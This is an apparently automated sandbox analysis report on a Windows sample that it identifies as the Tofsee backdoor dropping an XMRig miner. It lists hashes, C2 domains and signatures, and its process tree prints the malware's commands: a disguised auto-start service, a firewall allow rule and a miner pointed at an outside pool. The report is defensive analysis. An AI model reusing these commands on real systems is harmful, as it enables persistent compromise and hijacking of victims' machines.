Analysis

  • max time kernel
    300s
  • max time network
    305s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-11-2023 04:47

General

  • Target

    0a731a60eed64ed8a1b2b5617df6d248b02d8a2c7716f13877a4398293fc9e04.exe

  • Size

    338KB

  • MD5

    cd6e356156ebdd1ab336982ee3033203

  • SHA1

    bf2c44a833f60a5b3d3465d8a0189bdfaa60b851

  • SHA256

    0a731a60eed64ed8a1b2b5617df6d248b02d8a2c7716f13877a4398293fc9e04

  • SHA512

    9f0483e5560a16f80fc3a8f96039a591fa64efad0b5d39fd31e9fa2e617289abe6fc611a9e95dbd85207c24ab0f60c4090a36c117b02fcfe4c0a2c3b8d3aa626

  • SSDEEP

    3072:O9xAA69UJ+xOWELaHcHjmZlWLjv6iBnTDEvpDfqxO2Rer2dbp80C:GuUJRWFciZlWfZTDcpoQr2d3

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a731a60eed64ed8a1b2b5617df6d248b02d8a2c7716f13877a4398293fc9e04.exe
    "C:\Users\Admin\AppData\Local\Temp\0a731a60eed64ed8a1b2b5617df6d248b02d8a2c7716f13877a4398293fc9e04.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3780
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kcjvnmbx\
      2⤵
        PID:5076
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hfucvlgc.exe" C:\Windows\SysWOW64\kcjvnmbx\
        2⤵
          PID:3216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kcjvnmbx binPath= "C:\Windows\SysWOW64\kcjvnmbx\hfucvlgc.exe /d\"C:\Users\Admin\AppData\Local\Temp\0a731a60eed64ed8a1b2b5617df6d248b02d8a2c7716f13877a4398293fc9e04.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kcjvnmbx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kcjvnmbx
          2⤵
          • Launches sc.exe
          PID:428
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1320
      • C:\Windows\SysWOW64\kcjvnmbx\hfucvlgc.exe
        C:\Windows\SysWOW64\kcjvnmbx\hfucvlgc.exe /d"C:\Users\Admin\AppData\Local\Temp\0a731a60eed64ed8a1b2b5617df6d248b02d8a2c7716f13877a4398293fc9e04.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:312
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4120
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4056

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\hfucvlgc.exe

        Filesize

        14.6MB

        MD5

        6ba8f2512afdf542b0e5c1e2fc5398fa

        SHA1

        1b0adf210fd6d0060fff3ecdd8335b31f7774ca8

        SHA256

        ad1701ec840326d7ab913167ad04f82b35f9e2143a9059ac5a3d07e42a5b36ca

        SHA512

        e17102b41955088179d913fb0326a5527a79a9a3a69c0d92446527f46d24f0535b8b09f7d50382ae400e7119ed99a93907c32e9ea3b7a16393e2f7a57f3fb0a1

      • C:\Windows\SysWOW64\kcjvnmbx\hfucvlgc.exe

        Filesize

        14.6MB

        MD5

        6ba8f2512afdf542b0e5c1e2fc5398fa

        SHA1

        1b0adf210fd6d0060fff3ecdd8335b31f7774ca8

        SHA256

        ad1701ec840326d7ab913167ad04f82b35f9e2143a9059ac5a3d07e42a5b36ca

        SHA512

        e17102b41955088179d913fb0326a5527a79a9a3a69c0d92446527f46d24f0535b8b09f7d50382ae400e7119ed99a93907c32e9ea3b7a16393e2f7a57f3fb0a1

      • memory/312-10-0x0000000000930000-0x0000000000A30000-memory.dmp

        Filesize

        1024KB

      • memory/312-12-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB

      • memory/312-14-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB

      • memory/3780-1-0x00000000008B0000-0x00000000009B0000-memory.dmp

        Filesize

        1024KB

      • memory/3780-2-0x0000000002480000-0x0000000002493000-memory.dmp

        Filesize

        76KB

      • memory/3780-4-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB

      • memory/3780-7-0x0000000000400000-0x000000000089D000-memory.dmp

        Filesize

        4.6MB

      • memory/3780-8-0x0000000002480000-0x0000000002493000-memory.dmp

        Filesize

        76KB

      • memory/4056-71-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-72-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-73-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-70-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-69-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-68-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-67-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-66-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-65-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4056-60-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/4120-36-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-55-0x0000000009410000-0x000000000981B000-memory.dmp

        Filesize

        4.0MB

      • memory/4120-35-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-37-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-34-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-39-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-40-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-42-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-47-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-46-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-51-0x0000000001200000-0x0000000001205000-memory.dmp

        Filesize

        20KB

      • memory/4120-52-0x0000000009410000-0x000000000981B000-memory.dmp

        Filesize

        4.0MB

      • memory/4120-48-0x0000000001200000-0x0000000001205000-memory.dmp

        Filesize

        20KB

      • memory/4120-45-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-44-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-33-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-43-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-56-0x00000000032F0000-0x00000000032F7000-memory.dmp

        Filesize

        28KB

      • memory/4120-41-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-38-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-32-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-31-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-28-0x0000000000FF0000-0x0000000001000000-memory.dmp

        Filesize

        64KB

      • memory/4120-25-0x0000000000FC0000-0x0000000000FC6000-memory.dmp

        Filesize

        24KB

      • memory/4120-24-0x0000000004D40000-0x0000000004F4F000-memory.dmp

        Filesize

        2.1MB

      • memory/4120-21-0x0000000004D40000-0x0000000004F4F000-memory.dmp

        Filesize

        2.1MB

      • memory/4120-19-0x0000000000F10000-0x0000000000F25000-memory.dmp

        Filesize

        84KB

      • memory/4120-18-0x0000000000F10000-0x0000000000F25000-memory.dmp

        Filesize

        84KB

      • memory/4120-17-0x0000000000F10000-0x0000000000F25000-memory.dmp

        Filesize

        84KB

      • memory/4120-11-0x0000000000F10000-0x0000000000F25000-memory.dmp

        Filesize

        84KB

      • memory/4120-74-0x0000000000F10000-0x0000000000F25000-memory.dmp

        Filesize

        84KB